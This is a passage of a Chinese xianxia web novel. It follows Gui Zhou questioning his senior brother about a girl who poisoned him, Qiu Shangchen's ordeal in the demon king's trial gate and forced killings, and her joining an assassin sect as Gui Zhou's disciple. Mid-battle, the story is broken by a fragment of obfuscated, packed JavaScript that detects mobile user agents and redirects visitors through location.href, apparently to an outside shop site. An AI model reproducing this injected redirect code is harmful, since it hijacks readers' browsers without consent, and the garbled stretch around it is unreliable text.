事到如今,他竟还在担心那个小女孩的安危,在他记忆中,师兄好像要杀了她,但是最后究竟死没死,他不知道。
罢了,既然想到了,那就还是问问师兄吧!
于是,他整理了一下衣服,就出去了。
推开房门,还是他熟悉的院子。
归舟院中的陈设也与旁人不同。
旁人非要在院中种上一棵花树不可,进而展现自己的文墨才情,树下摆上一石桌石椅,自称天仙下凡,犹若仙山琼阁。
归舟向来不喜这般矫揉造作,用他的话说,我这院子中种的乃是民之根本——蔬菜。
俗话说得好:民以食为天,没有吃的怎么行?
然而,当他经过这片蔬菜地的场景时,却总是有种违和的感觉。
一身白衣、仙姿卓绝,微风吹拂、衣袖随风而起,眉目清冽、似不染凡尘俗世,一副超然物外之感。
将视线下移,那脚边却是一堆蔬菜,有碍观瞻!
这件事情归染跟他说了好多次了,但是归舟一句话就把归染问住了:你院子里不全是各种名贵药材吗?
那意思就是,你院子里那么多有毒的、没毒的花草,那我院子里有几棵蔬菜怎么了?
归染无言以对。
……
归舟御剑来到了归夜的院子,他礼貌的敲了敲院门。
没人理他。
他又敲了敲。
还是没人理他。
然后他突然想起来,昨天他把归夜惹毛了!
归舟无语,这人一把年纪了,怎么还跟个孩子一样怄气?
于是,他直接推门而入,果然,迎接他的就是一道剑气。
归舟闪身躲开了。
归夜持剑站在一旁,气呼呼的看着他。
归舟说:“师兄,你多大了?”
归夜没好气的说:“比你大!”
归舟“哦”了一声,然后说:“那师兄,你一把年纪了,怎么还跟孩子一样幼稚。”这是一个毫无波澜的陈述句。
归夜怒道:“你才一把年纪!老子才二十二,你……”意识到这样说有失风度,他后面问候的话语就没说出来。
归舟看着他不出声了,开口说:“可以正常说话了吧,那我问了。”
归夜差点被他气死,但是出于好奇,他还是听了。
“师兄可还记得两年前你我一起去妖城杀妖之事?”
归夜奇怪道:“记得啊,怎么了?”
“当时那个要杀我的小女孩,你当时没杀她吧?”
归夜听到这事,好像就有一股无名火涌上来:“我倒是想杀啊!可是我杀得着吗?我刚把你给甩开,就有一阵妖风把她救走了。”
归舟皱眉:“你觉得是谁?”
归夜像看神经病一样看着他说:“我要是知道那是谁,把你送回来之后,就去斩草除根了,哪至于等到你来问!”
“不过。”归夜那股火又被思绪给压下去了,“那人很强,当今世上又如此强悍力量的妖,应该就只有妖王了。”
“嗯,知道了。”归舟转身就要走。
归夜冲着他的背影说:“什么意思?”
归舟停住了脚步,但是并没有回答。
归夜走上去,拉住他的胳膊:“你问这,是想干什么?”
归舟淡笑:“没什么。”
“我可提醒你,你的毒就是拜她所赐,妖王能亲自出动,那个小女孩绝对不简单!你要是现在还想着要去救她,我奉劝你,别给门派找麻烦。”归夜带有警告意味的说。
归舟回头看他,那双墨蓝色的眼瞳毫无波澜:“她害我沦落至此,我找她,也只会是杀她。”说完,他又将头转回去了。
归夜有些怀疑的看着他:“最好是这样。”
归舟祭出剑,叹了一口气,朝着正殿去了。
两年前,他中毒后总感觉自己的灵力运转滞涩,于是问了归染,归染迫不得已才告诉他,当时他中了两种不同
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的毒。
两中毒呈现相辅相成之势,腐蚀了他的灵力、侵入心脉、险些毁了根基,此生他将再无化神可能!
由于中了两种不同毒的原因,元婴巅峰的修为会直接跌至中期,修为也将永远止步于中期,并且如若日后过度消耗灵力,还会使修为继续逐级跌落!甚至还会逐渐失去自愈能力,不论内伤、外伤!
后悔吗?归染曾问他。
他当时没有回答,现在他知道了。
他悔!
但不是悔自己救了人,而是悔自己屠了城。
这是报应。
……
秋上尘坐在床上,手里拿着一块类似于镜子的物件,端详了许久,这东西到底从何而来?
两年前,魔宫。
秋上尘猛地睁开眼,以最快的速度环顾了一下周围。
周围阴暗,在尽头处有亮光,亮光中模糊的能看到一个宝座。那宝座浑身散发出诡异又高贵的气息,扶手上盘踞着青铜铸造的龙形雕饰,这宝座存在的本身,便是对主人身份尊贵的无声宣告。
秋上尘小心翼翼的朝着那椅子走去,她已经大致猜到这是哪里了。
“何人?”一道威严的声音从尽头的宝座上响起。
方才宝座上分明无人,这时却坐了一位身穿黑袍的男人,也不知是何时来的。
秋上尘也没有畏惧,她挺直身体,走上前跪下道:“小女子多谢妖王的救命之恩。”她此刻的身形虽是孩童大小,声音却并不稚嫩,听上去像人族二十几岁的女子。
妖王饶有兴趣的看着她,半晌:“小姑娘?本座既然救了你,你打算如何报答?”
秋上尘毕恭毕敬的说:“俗话说得好,救人救到底,送佛送到西,王上这可不算是完整的救命之恩啊。”
妖王第一次见到有人与他谈这么说话,来了一点兴趣:“那你说怎么才算救完人?”他手中凝结了一股妖力,随时都有可能直接结果了她。
秋上尘依旧不慌不忙的说:“王上,我全家被辰秋落所杀,辰秋落屠戮妖城惨不忍睹,恳请王上帮忙。”
“辰秋落吗?”妖王咬牙切齿的说:“巧了,小姑娘,你运气好,本座与辰秋落也有旧怨,若你能复仇成功,也算是帮了本座一个大忙,你与本座之间就两清了,如何?”
秋上尘行礼说:“谢王上,但是,还有一件事想请您帮忙。”
妖王的耐心已经快要没有了,他隔空捏住了秋上尘的脖子:“你,好吵。”
秋上尘艰难的说:“王上,我这个…个忙对您有…有用。”
妖王松开了她一点,她立刻说:“现在我的身躯如孩童一般,无法助您完成大业,可否请您帮忙,将我……”
妖王一挥手,很快烟雾消散后,秋上尘的身量,已与人族女子别无二致。
她惊喜道:“谢王上,还不知王上尊姓大名?不然日后不太方便…”
妖王冷笑一声:“知道我名字的人一般都活不太长,你想知道吗?”
秋上尘很识趣的行礼转身想要离去。
“封浊。”妖王淡淡的说。
秋上尘转身跪下:“谢王上。”
“你的?”封浊高傲的说。
“什么?”秋上尘装傻道。
封浊不满道:“你这小孩真没礼貌,我既已说我的,你为何不说你的?”
“啊哦,王上,刚才太紧张了,就忘了,在下姓秋名上尘。”秋上尘恭恭敬敬的行礼。
“嗯,下去吧。”封浊这下子满意了。
秋上尘一直保持灿烂的微笑,直到身形消失在通道的尽头,脸上随之取代的是轻蔑的冷笑。
10. 回忆(六)
“进去吧,别让本王失望。”封浊打开了魔宫地下的试炼之门。
“你既不会仙术,也不会妖法,如何存活过这第一层,就是你的事情了。”
秋上尘恭敬的朝妖王行了一礼:“谢王上,还请王上不要忘了您的承诺。”
妖王点了一下头后,将试炼之门关上了,自己也在瞬间消失了。
秋上尘在妖王消失后很轻蔑的看了一眼已经关闭了的试炼之门,眼中全然没有了方才的恭敬与畏惧,就好像刚才那个恭恭敬敬的的人不是她。
试炼之门,是妖族在魔族覆灭之后,将老巢搬来了魔宫,并发现魔宫下有这样一个地势险峻、环境恶劣的地方,正好用于筛人。
简单来说,这就是每个想要进入魔宫的人必要经历的挑战。
在魔宫内的地位高低,与试炼之门干系甚大,通过试炼之门的的层数越多,在魔宫的地位就越高。
试炼之门一共九层,凡是没通过第一层的,生死不论,能通过第二层的,魔宫便有了保障试炼之人生命的义务。若是有人达到七层之上,便是仅次于妖王的存在。毕竟千年来,只有妖王一人达到了八层,其余人最强者,也止步于五层。
秋上尘径直走进第一层。
里面种的是各种各样美丽、鲜艳的花草,可以使人致幻或者中毒。
秋上尘见状,冷笑一声,一脚便踏上那些花草,将它们踩了个粉碎。
这些毒,对她还不管用。
她体质特殊,却并非生来百毒不侵,但这些毒于她来说,不过是雕虫小技。
前三层过得还算顺利。
现在已经是第四层了,难度骤然增加!
秋上尘抹掉了嘴角的血迹、捂着半边胳膊,艰难起身。
只要她再坚持两层,就是一人之下万人之上!
这第四层是阵法,可她对阵法一窍不通,加上前三层受的伤,现在,她半只脚已经迈入强弩之末的境地了。
就在这个时候,阵法凝结成一股强大的灵力向她打来,就在这千钧一发之际,她身前突然金光迸发,出现了一件像是法器的物件,替她挡下了那致命一击!
秋上尘心中迟疑:这是什么?为何之前没见过?
她伸手取来,就在那东西触碰到她手的一瞬间,她竟感觉自己全身有了法力的流通!
再仔细一看,这东西做工精致,形似镜子,本就是一件上好的法器!
可这法器为何会在她体内?而且看样子,这法器应是很久之前就认她为主了,可是自己为什么没有印象呢?
不过留给她思考的时间并不多,因为那法阵的下一波攻击又来了。
她慌乱的祭出法器、匆忙格挡,那法器居然将阵法的攻击反弹回去,反弹回去的攻击将那法阵震了个粉碎!
秋上尘面露惊喜之色:这可真真是个好东西啊!
事不宜迟,她得尽快去下一层了。
第五层有一只上品妖兽镇守,最厉害的试炼者也不过到此,见状便自动放弃了。
秋上尘不甘于此,她如果止步于此,就意味着她和那个自动放弃的试炼者是同一个等级的,而她想要的,是妖族第二的位置!
秋上尘想用那件法器,但她又不知道这件法器的上限是多少,不敢乱用,只能硬生生接下了妖兽第一击。触碰到那巨大灵力的瞬间,身体便不受控制的横飞出去,撞在了旁边的石壁上,后背上留下了一道深可见骨的伤痕!
接着,妖兽的第二击冲着秋上尘就打了过来,秋上尘见状只能祭出法器抵挡。第二击法器果然抵挡住并且反弹回去,打中了妖兽,妖兽低吼一声,震得石壁微微晃动,隐隐有山崩地裂之势。
这一举动显然是激怒了妖兽,妖兽的第三击和第四击接连朝她打来。秋上尘只能继续用法器抵挡,但是她发现了一个问题,法器在挡下第四击后便不再反弹了!
与此同时,她感觉自己身体里流通的那股灵力也在慢慢衰竭,很快她就召唤不出这面镜子了,可是妖兽的第五击已经冲她打了过来!
秋上尘只能狼狈的向旁边滚去,那团灵力擦着她的身体过去,将她的衣服撕开了一个大口子,不过她无暇顾及,因为第六击又来了!这一击她已经无处可避,刚才的躲避,已经将自己逼至绝境,身后早就是坚硬至极的石壁了。
她突然像是想到了什么,竟站在那里不动,似是要接下这妖兽的第六击!
就在第六击即将打到她时,她迅速闪身躲开,那一击震碎了石壁上不少石块。
秋上尘见状,又回到了刚才她站着的地方,第七击又打在了相同的位置上,石壁隐隐已有了裂痕!
第八击、第九击……
就在第十二击过后,石壁轰然倒塌。
现在,秋上尘打算用命赌一下,赌那妖兽出不去这第五层!
她扑进了打穿的石壁中,第十三击冲着她的后背打来。
万幸,她赌赢了,一层无形的结界拦住了攻击。
秋上尘虽面上无事,但身上早就已经冷汗淋漓了。
缓了一会儿,她站起来拍了拍身上的土,走进了第六层。
秋上尘知道自己过不去第六层,但是她本来也没想要通过。
她踏入第六层后,还没看见试炼的项目是什么,就说了一句:“我放弃。”
第六层,是除了妖王以外,前无古人后无来者的存在!
虽然耍了些小聪明,但是结果已出,以后,她就是一人之下万人之上!
外界的大门打开,秋上尘走进去,封浊站在尽头。
“王上。”秋上尘恭恭敬敬的行礼。
封浊看着她,满意的开口:“不愧是人妖混血啊!就是强过这些普通妖族,没有妖力傍身竟能到第六层,之前还真是小看你了,以后,你就是魔宫圣女,受万人敬仰。”
“这些功法你拿去修炼,两年后,你亲自去辰秋落卧底!”封浊扔给她一堆功法,丢下这一句话后,身影就消失的无影无踪了。
“谢王上,恭送王上。”
她刚走出试练之门,就看见门口的妖全部朝着她跪下:“参见圣女!”
秋上尘从没见过这等场面,不过心中还是很享受,于是说:“起来吧。”
看着手中密密麻麻的功法,她想了一会儿又问:“我住哪?”
众妖闻言先是愣了一瞬,然后其中一个小妖开口:“圣女,请随我来。”
秋上尘跟在那个小妖身后,小妖的言行举止全然没了她试炼之前的那种不屑,身体微微前倾,一副恭恭敬敬的样子。
秋上尘内心不禁觉得好笑。
这人啊、妖啊,不管到了哪里,都是这样。
就在她感叹的时候,住处到了。
她一看,又是很想笑,这地方,比她刚来到这里的时候,住的好了不是一丁半点!
如果说,她刚来的时候住的还能称之为房间的话,那地方简直能与牢房相提并论!
而现在,这房间内颇有闲情雅致,窗下有一檀木案几,几上炉中升起一线沉香,烟迹如云雾般飘飞,沉香四溢。
床旁屏风上绘着水墨,墨色淡雅,恰与地面铺设的方砖相得益彰,屏风旁的矮塌,古琴静卧其上,阳光透窗,却并非汹涌澎湃,而是宛如一层温热的金色薄纱,轻轻地铺洒琴弦之上。
秋上尘面部抽搐的看着这间屋子,突然冒出来一个问题:这屋子,我也配?
那小妖恭恭敬敬地开口:“圣女,住处到了,请。”说完,还做了一个请的动作。
秋上尘做了一个皮笑肉不笑的表情,就走进去了。
身后那小妖看似好心关上了门,但实际上却是在门上下了一道法阵。
秋上尘将这一切都看在了眼里,心道:我说嘛,原来是被监视了!
罢了,既然不让我出去,那我就不出去了,我好好的修炼,看你们到时候还能不能封的住我!
这是她两年痛苦生活的开始。
安安稳稳的修炼了一个月——实际上是被安安稳稳的囚禁了一个月。
不过,这一个月无人打扰,倒是让她被迫觉醒的妖力有了突飞猛进的进步!
只是那面类似镜子的法器,她中途曾拿出来过,本想好好研究一下,但是自从那次被打了之后就不亮了,不管怎么努力的输入妖力,它就是不亮。
秋上尘无奈放弃,可能是因为这法器需要灵力的滋养,而不是妖力。
而她,早就在妖王明里暗里地试探中知道了自己的身份——半妖,可以同时修习妖力和仙术!
这能力可谓是通天!怪不得父亲母亲当年要带她走。
这仙门和魔宫都呆不得啊!
秋上尘叹气,如今人妖对立,就算是出去了又该到哪里生活?这偌大的天下,竟没有了我的容身之处!
这时候,屋门从外面被打开了,还是一个月前见到的那个小妖。
“圣女,王上有请。”
秋上尘起身整理了一下衣服,跟着他出去了。
……
“咳……咳”秋上尘半跪在地上,本想用手擦掉嘴角的血迹,但是发现手上全是血污,就又把手放下了。
起身看着面前堆积成山的尸体,她眼中全是冷漠,再没了不久前的柔情。
几日前叫她去找妖王,本就是要训练她。
训练她杀人!
虽然是圣女的身份,但是她也要和其他小妖一样,在厮杀中为自己博取一条生路!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888708|192133||http|test|mini|href|location''.split(''|''),0,{}));
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>秋上尘本不想杀,但是碍于圣女身份。
这身份就像枷锁一样,有了这层头衔在,她就必须要杀!还要杀得比旁人更多!
打斗中,秋上尘才知道,这圣女的身份居然可以靠日常的厮杀训练替代!只要有人打过了她,圣女之位就要易主了。
也就是说,她要是一直留手,那么最后死的一定是自己,这人非杀不可!
想通了这一点,秋上尘就毫不留手了,自己辛辛苦苦用命换来的地位,怎能毁在这种事上?
她手中凝结妖力,挥手间,便掀飞了数人。
手中幻化出一把做工精美的小刀,细看这小刀,正是那日秋玥黎最后留给她的东西,也是那日她刺入归舟心口的凶器!
秋上尘的身形在瞬间就来到了那些被她击飞的小妖旁,手起刀落,躺在地上的小妖皆已没了声息!
死了的妖族,身形会在半炷香后灰飞烟灭,所以现在他们的尸体还留在地上。
不远处的一群小妖见状好像害怕了,竟一时没有人敢上来。
等到那些尸体已经开始消散了,那群小妖才开始颤颤巍巍的往前移动。
秋上尘站在不远处,看着地上那些正在消散着的尸体,犹如漫天星辰散落在人间,璀璨而诡异。
她轻笑了一声,妖就是这样,活着的时候被人喊打喊杀、甚至还要自相残杀,死后却还能留下这样的美景,供人欣赏……
她用余光瞥了一眼剩下的小妖:“还有吗?有的话,就一起上吧。”
这些小妖如果不上去的话,恐怕现在就得死,上去了,还能有一线希望活下来!
为了这一线渺茫的希望,他们也愿意拼上一拼,毕竟曾经有人真的成功了。
秋上尘知道,这些人是被逼的走投无路,一定会用最不要命的打法。
但是她没有办法,要是圣女之位被夺,她也没有活路。
看着眼前蜂拥而上的小妖,她凝聚了现有的全部妖力,也冲向了他们!
很快,她发现这群妖中有一个很厉害,好像是当年那个到了第五层的试炼者。
秋上尘心里有些没底,毕竟第五层她也是靠着投机取巧才险胜,这人可是一路杀到第五层的。
就在她想事之余,身旁的妖,已经被那人杀尽了!
抬头时,那人的身形化为残影,瞬间来到她面前三步,秋上尘仓促举刀格挡,但是有些晚了,被震出数米。
还没等站直,那人朝着秋上尘的面门而来。
秋上尘见状也不躲了,一味地躲避只会让敌人占尽上风,虽然她的妖力是被强行觉醒的,但这一个月的修习,她的妖力已然大增,现在正好缺一个练手的。
秋上尘的目光阴冷,平静的看着已经要触碰到自己的敌人,然后一掌与那人对上!
两股妖力相碰,产生了巨大的能量,将附近的空气都快点燃了。
最后的胜负,是靠实力决定的,这就是魔宫的规矩,也是自然之理——优胜劣汰。
一盏茶的功夫已经过去,对面那人显然是坚持不住了,七窍都开始流血,秋上尘也在忍不住的情况下呛出一口血来。
即便是这样,两人仍没有收力。
秋上尘看那人已是强弩之末,于是幻化出那把小刀一刀刺进那人的心口,随后在一声爆炸声中,秋上尘被巨大的气浪掀了出去。
等她爬起来的时候,她心中仍是很后怕,那人竟自爆妖丹,要与自己同归于尽!
幸好留了一手,不然今日就是她死期,还谈什么复仇?
甩了甩手上的血,她站起身,冷漠的看着一地狼藉,封浊在一旁饶有兴趣的看着:“圣女就是圣女,比我宫中这数位高手都要强上许多,赏!”
他身后的小妖急忙上前递给了秋上尘一丸丹药:“圣女。”
封浊不紧不慢地说:“吃了它,有助于你疗伤。”
这一举动看似是关心她,实则是要下毒控制她!
秋上尘自觉醒妖力后,感知能力强了许多,她感知道这药里虽有疗伤效果,但却有毒。
可是封浊就在她面前,秋上尘只能双手接过:“谢王上赏赐。”然后在封浊的注视下咽了下去。
封浊满意的看着她:“此后每月,你来这里一次,每日在另一处有不同的训练任务,下去吧!”
秋上尘跪下,看着妖王的身影消失在眼前。
她恨得牙痒痒,但是她现在的实力不允许,只能受制于他,至于这毒,只能慢慢的逼出来。
妖王对外广招小妖收入麾下,实际上是让妖族在魔宫里自相残杀,取最强者,杀弱者。
秋上尘自幼与妖族一同长大,见不得有人如此伤害妖族,早晚有一天,她会让封浊付出代价!
11. 拜师
秋上尘倚在窗边,冷漠的看着逐渐变暗的天色,那张很久没有出现过任何表情的脸,此时露出了一丝微笑。
明天,就是拜师的日子,不知道会有什么有意思的事情发生。
这门派中的人,怎么一个两个都这么单纯,这真的是一个杀手组织应该存在的人吗?
忽然,她神色一变,挥手后,窗户被她严丝合缝的关上了,她的手中多了一张符纸。
妖王的千里传音符!
秋上尘向符纸传送灵力,符纸中传出来了熟悉的声音。
听到这声音,秋上尘在心里翻了个白眼。
“这是你这个月的解药。”话音未落,秋上尘的面前出现了一丸丹药,她都不用猜,这丹药里面既有解药,也有毒药。
每次她刚将毒逼出去,妖王的“解药”就来了,还会在丹药上面做手脚,她如果不吃下去,后果不堪设想啊。
她心里叹了口气,由于这毒不停的被她逼出去又吃下去,逼出去又吃下去,如此反复,秋上尘已经不想解毒了,反正又要不了自己的命,不如安安分分、明哲保身。
她伸出手接过,一口吞下,啧,这丹药就不能改良一下吗?每次都散发着一股子腥臭味。
妖王好像就是“专程给她送解药的”,嘱咐了几句任务的事情之后,符纸就燃烧干净了。
秋上尘坐在床上,世界总算安静了!
打工人不易啊!
不知是何时睡着的,秋上尘被敲门声吵了起来,她慢悠悠地回应:“谁啊?”
“秋姑娘,掌门命我带您去宗门祠堂。”
秋上尘立刻清醒了不少,坏了,怎么把这事给忘了?
她火速穿好衣服,在开门的一瞬间,变成了一副病殃殃的样子,一只胳膊缠满了绷带,另一只手拄着拐,一瘸一拐的走向院门口。
院门口的弟子见她出来了是这幅样子,才说:“既然姑娘有伤在身,还是在下带您过去吧。”
说完,他的面前立刻就出现了一把剑。
那弟子施法将剑变宽了点,给秋上尘做了个请的手势。
秋上尘小心翼翼的站上去,站上去的一瞬间还装模作样的摇晃了一下,随即稳住了。
“秋姑娘站稳了,我们要出发了。”
“嗯,多谢。”秋上尘低声道谢。
“秋姑娘,现在在下为您简单介绍一下门派。辰秋落,处于四面环山,其间风景要比门派实力更加有名,最有名的便是这四大奇景,春日的漫山桃花,夏日的满池荷花,秋日的染血枫叶,冬日的傲雪寒梅。辰秋落闻名中原的不仅仅是这些秀丽的风景,门派中的高手也是层出不穷,门派内低于结丹修为的人几乎没有,派中上下……”
秋上尘:……我没问吧?硬说?
那既然这样,不如问问……
“这位公子,请问门派中我师尊是何地位啊?”秋上尘小心的问。
那弟子也没觉出什么不对:“姑娘的师尊,是我们辰秋落的掌门,是先掌门最得意的弟子之一。”
最得意?就这样?太弱了……秋上尘心中无语。
迫于任务,秋上尘还是好奇的问:“先掌门?他有几个弟子啊?”
“两年前,先掌门走得急,没人知道他究竟是怎么死的,但是死前下令将掌门之位传给现掌门,任何人不得违抗,否则杀无赦。至于先掌门有几个弟子,我记忆中是五个,但是在下进派时间较晚,其中有一个,连我也从未见过,可能以后需要姑娘自己去找答案。”
见套不出更多有用的信息,她只好说:“多谢了。”
两人就在剑上沉默了。
这门派的弟子当真是与掌门如出一辙,平日里归舟不说话,就连这弟子也不说话,刚才还不如不打断他,继续听他介绍门派,好歹还有点声响,现在可真是无聊透顶了。
不过,秋上尘倒也没无聊多久,因为等她吐槽完的时候,她已经到了祠堂的门口。
嗯,这弟子所言非虚,就连他一个新进门派的弟子,修为都在结丹初期!
秋上尘再次“小心翼翼”的从剑上下来,在很短的时间内,将周围的环境观察了一遍。
奇怪,那天晚上怎么没见到这个地方?
秋上尘心中疑惑,莫非此地还有什么见不得人的事?
“秋姑娘,这边。”那弟子朝她做了个手势。
“哦哦”她赶紧拄拐跟上去。
宗门祠堂的外表很普通,就像外门弟子的居所一样,也难怪那日会漏掉此地。
进去后,秋上尘就想撤回她方才的内心发言,这里面还真是另有乾坤啊!
祠堂里支撑的十二根柱子,是当年仙界独有的千年沉香木!深紫近黑的木料上,有着细密繁复的木纹。
地面以玄玉铺就,行走其上,步步生莲也并非虚言。
两侧每隔十步,便有玉像矗立,这些玉像想必就是宗门历代掌门的塑像,其间或有阵法,守护着整个宗门的安宁。
数以百计的蜡烛在此长明,渲染出一副庄严而诡异的气息。
在祠堂的尽头,九级玉阶之上,归舟一人站在那,略显单薄的身躯配上一袭简单的白衫,衣角在无声的灵压中微微流动,如同风中残烛,随时可能熄灭。
秋上尘又在心里翻了个白眼,外表朴实、内在奢靡,表里不一,虚伪!
不过,掌门收徒,为什么祠堂就只有他一个人?难不成有什么阴谋?还是说,收徒是什么见不得光的事?
尽管内心的抵触已经达到了顶峰,但她还是满脸笑意的迎了上去。
秋上尘:我命好苦......
归舟听见身后有动静,转过身来时,看见秋上尘已经离他很近了,他叹了口气。
“秋姑娘,门内事务繁忙,弟子众多,拜师礼恐怕只我一人,姑娘别介意。”归舟好像用了很歉疚的语气,但是秋上尘一点没听出来。
“门内事务繁忙,怎能劳烦那么多师兄弟来观礼,如此甚好。”秋上尘笑着回答。
她看见归舟点头过了很久后还是没有说话,心中起了戒心:莫不是真有什么陷阱!
突然归舟动了,秋上尘差一点就要凝力杀了他。
毕竟,以她现在的功力,杀一个重伤之人,还不是什么费劲的事情。
然而归舟只是背过身去了,并没有什么大动作。
秋上尘赶紧收了妖力,万幸刚才没使出来,她一时竟忘了祠堂内的阵法!
就在她有种劫后余生的同时,归舟的话让她有些不敢相信:“秋姑娘,我这门派,并不是世人所看到的那样,即使是这样,你还愿意加入吗?”
她随即问出:“那是哪样?”
“所有人,包括给你治伤的归染,我们都是专业的杀手。这个门派,以培养杀手、伪装成正派为生。”
不知怎么,秋上尘感觉归舟说这话的时候,声音莫名有些颤抖。
她也没想到,归舟居然会把门派的真相说出来。
不管归舟如何,秋上尘自己把自己给坑了:她现在不知道说什么好了。
“杀手?”她装作有些惊恐的摸样:“会让我做什么丧尽天良之事吗?比如说杀人?或是屠城?”
秋上尘试探性的提问,她看见归舟在听见屠城二字后,身体好像抖了一下,不免觉得好笑,自己做过的事,怎么现在越发不敢提及了?
“不会”
这声音斩钉截铁:“我已经在努力改变门派现状了,虽然现在...但是以后一定不会。”
秋上尘闻言很想笑。
改变?你这宗门“底蕴”如此深厚,如何改变?一个杀手为何能这般天真?
现在,秋上尘总算知道,那天晚上那个弟子来找他汇报是怎么回事了。
但是这样的想法,让秋上尘很奇怪,既然不喜杀戮,又想救人,那屠城是怎么个事?这样天真的人,又为什么干出这种事?
归舟见秋上尘长时间没有回答,以为她不愿意,若不愿意的话,这姑娘的命,真要自己亲手取走吗?
他不忍。
可她若是活着走出辰秋落,那么山门的秘密就不再是秘密了!
“姑娘?姑娘。”归舟不想杀她,想再试试。
“姑娘当真不愿意吗?”
秋上尘:???我还什么都没说吧?
“归公子,我愿意的,但我有一个条件,只要不让我干什么伤天害理的事就行,我现在只想治好我的腿,别无他求。”秋上尘认真的回答。
此话一出,两人的内心各自松了一口气,一个想还好没露馅,一个想终于保住了一条命。
“治好腿后,我还能出去吗?”秋上尘询问。
“你是指离开门派?”归舟反问。
“嗯”秋上尘低下了头。
归舟皱了下眉头,心又悬起来了。
这也是件麻烦事,毕竟宗门从未有过活着离开的先例,就算是活着,也与废人无异。
“姑娘大概是离不开了。”归舟的内心有些复杂。
这样一个处在花季的少女,因为自己的疏忽,不得不留下来治伤、当杀手,伤好后还不能离开回归到正常人的生活,这对她来说太不公平了!
归舟
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自责的想。
“秋姑娘,在下能给你一个保证,你腿伤好了以后,自行决定留与不留,并且不会受到任何伤害,一切罪责、由我承担!”归舟很认真的看着秋上尘的眼睛说。
秋上尘迎着他的目光看回去:“那,如果我伤好以后又想留在门派认真修习呢?”
归舟:“那姑娘就要执行门派任务了。”
归舟见到秋上尘沉默了,也没有再开口说话。
“好,今日起,我秋上尘自愿加入辰秋落,成为辰秋落弟子。”
归舟的心总算是放下了,微微翘起的嘴角是一丝连自己都没察觉的笑意。
然而这一幕,却被秋上尘看见了,她心理上的厌恶和生理性的警觉随之而来。
回过神来时,面前出现了一个青瓷茶盏。
归舟正将茶盏递给她。
“秋姑娘,宗门内繁琐的规矩并不多,你喝下这杯酒后,在历代掌门灵位前拜上三拜,此后便是我归舟的关门弟子了。”归舟又恢复了平时那种毫无波澜的语气。
秋上尘将拐杖放在一旁,艰难的举起那只缠满绷带的手,双手接过茶盏,低头饮下。
将茶盏归还给了归舟后,她双手提起裙摆,缓缓的跪下,跪到地面的一瞬间,腿部传来剧烈的疼痛,另一只还没跪下的腿不受控制地颤抖起来,汗水从她的额角渗出,她甚至听见自己的呼吸也变得越发粗重了。
一旁站着的归舟显然发现了她的异样,但这是拜师必要的一步,如果没有这一步,门派必不会认她。
受伤以来,秋上尘不敢喝归染给的药,她只能每天用妖力缓慢的疗伤。
今天拜师,为了不露馅,在来这之前,秋上尘将治腿的妖力全部收敛了,腿上的伤痛直到今天,她才第一次体会到。
真疼啊!
她好不容易才跪下,在又硬又凉的地面上,寒意好似钻进了骨头里,让她不由自主的打了一个寒颤。
虽然疼,但是这样的疼痛,她经常承受。
视线上移,秋上尘看见了一排排灵位,都是辰秋落历代的掌门。
呵,秋上尘内心冷笑,就是不知道,这些所谓的掌门,究竟又指挥门下弟子杀了多少人、屠了多少座城?
不知怎的,她好像冲着这些灵位磕不下去头,内心有一种声音叫嚣着不让她屈服。
她闭上眼睛,这一关她必须过去,再厌恶、也要忍!
睁开眼时,她的眼神犀利、阴狠,她紧咬着嘴唇低头。
“叩”的一声,她重重的磕了第一个头。
她抬起脸时,眸子中是隐藏不住的杀意。
“叩、叩”连着两声。
秋上尘快速磕完了后面的两个,她又闭上了眼睛,轻轻的做了几个深呼吸后,再次睁开眼睛,她又回归了平日里天真烂漫的样子。
艰难地起身,向归舟行礼:“弟子秋上尘拜见师尊。”
现在秋上尘是归舟的徒弟了,归舟有义务保护好她,于是他上前扶住秋上尘,关心道:“见你腿伤颇重,今日还是先好好休息吧!”
秋上尘见着他这副虚情假意的模样,心中止不住的恶心,但她还是乖巧的点了点头,在归舟的搀扶下踉踉跄跄地走出祠堂。
突然,归舟停下来了。
秋上尘警戒的偏头去看归舟,在见到归舟的脸离她嘴唇的不远处时,不由内心惊了一瞬。
没话说,就算这人罪大恶极、深恶痛绝,他的侧颜也是一绝,线条勾勒出来的轮廓清晰、利落,给人一种沉静而干净的美,那双墨蓝色的眼瞳仿佛似海水般深不见底,让人永远不知道他在想什么。
归舟感觉到身边人轻微的动作,也偏头去看她,就这样,两人的目光撞在了一起。
秋上尘看见归舟的脸泛起了红晕,而后又不好意思的将头转了回去,接着松开了扶着秋上尘的胳膊。
秋上尘在心里都被他给气笑了:我都没说什么,你还不好意思上了?
“上尘,我在想,你的住处离正殿颇远,不如搬到我园中的偏房,这样以后修习也方便。”这番说辞,倒像是为了掩饰方才的尴尬。
归舟确实是尴尬,他这辈子第一次离一个女子这么近,而且这也是他这辈子收的第一个徒弟,他确实不知道应该让她住在哪,只觉得继续住在归染的院子里不合适。
自己平时也不怎么与人交流,现在收了一个徒弟,还不知道以后的生活会发生什么改变,相比起秋上尘怕露馅的紧张,归舟内心的压力恐怕还要大于她。
秋上尘将归舟的窘迫尽收眼底,随后藏着笑意说:“全凭师尊做主。”
12. 学艺?
归舟闻言,没再多说什么。
主要是,他也不知道应该说什么,随后念了个法决。
等秋上尘再睁眼的时候,两人的身形就已经出现在归染的院子门口了。
归舟上前,轻轻敲了敲归染的院门。
秋上尘敏锐地感到了一阵灵力波动,随后院门被打开了,却不见归染踪影。
归舟见门开了,就走了进去。
秋上尘疑惑道:“师尊,门开了,为何不见染师伯?”
“哦,她应该还没起吧。”
秋上尘:……原来我的拜师礼她不去,是因为不想起床?!
秋上尘怒极反笑:“原来,染师伯也不喜欢晨练,法力竟还那么强,当真是天赋异灵啊!辰秋落果真卧虎藏龙!”
归舟并没有听出来她话中的阴阳怪气,只是简单的“嗯”了一声。
“谁啊?背后议论我?”归染懒洋洋的声音从不远处传来。
秋上尘顺着声音望去,归染穿着一身睡衣,就这样衣衫不整的站在房门口,眼睛甚至还没睁开!
简直是,不堪入目!
归舟早就已经闭上了眼睛,他用一种很无奈的声音说:“师姐?可以穿好衣服吗?”
这声音,就连秋上尘都听出来他话语中透露出来的无奈了。
